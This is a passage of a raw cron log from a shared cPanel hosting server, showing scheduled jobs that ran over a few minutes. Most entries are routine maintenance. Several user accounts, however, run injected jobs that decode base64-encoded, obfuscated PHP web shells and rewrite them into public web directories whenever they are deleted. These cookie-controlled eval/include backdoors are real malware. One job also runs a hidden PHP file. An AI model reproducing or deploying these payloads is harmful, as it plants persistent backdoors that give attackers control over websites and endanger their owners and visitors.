k7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:58:01 medusa CROND[2007]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 19:58:01 medusa CROND[2010]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:58:01 medusa CROND[2011]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:58:01 medusa CROND[2012]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:58:01 medusa CROND[2013]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:58:01 medusa CROND[2014]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 19:58:01 medusa CROND[2019]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:59:02 medusa CROND[7733]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:59:02 medusa CROND[7736]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:59:02 medusa CROND[7738]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:59:02 medusa CROND[7740]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:59:02 medusa CROND[7741]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:59:02 medusa CROND[7742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:59:02 medusa CROND[7743]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:59:02 medusa CROND[7744]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:59:02 medusa CROND[7745]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:59:02 medusa CROND[7749]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 19:59:02 medusa CROND[7758]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:59:02 medusa CROND[7753]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:00:02 medusa CROND[13478]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 20:00:02 medusa CROND[13550]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 20:00:02 medusa CROND[13744]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 20:00:02 medusa CROND[13745]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 20:00:02 medusa CROND[13746]: (root) CMD (/nutscripts/mail_trash_super.sh > /dev/null 2>&1)
Mar  1 20:00:02 medusa CROND[13747]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:00:02 medusa CROND[13748]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 20:00:02 medusa CROND[13751]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:00:02 medusa CROND[13753]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:00:02 medusa CROND[13754]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 20:00:02 medusa CROND[13760]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:00:02 medusa CROND[13765]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  1 20:00:02 medusa CROND[13771]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 20:00:02 medusa CROND[13770]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 20:00:02 medusa CROND[13773]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Mar  1 20:00:02 medusa CROND[13779]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 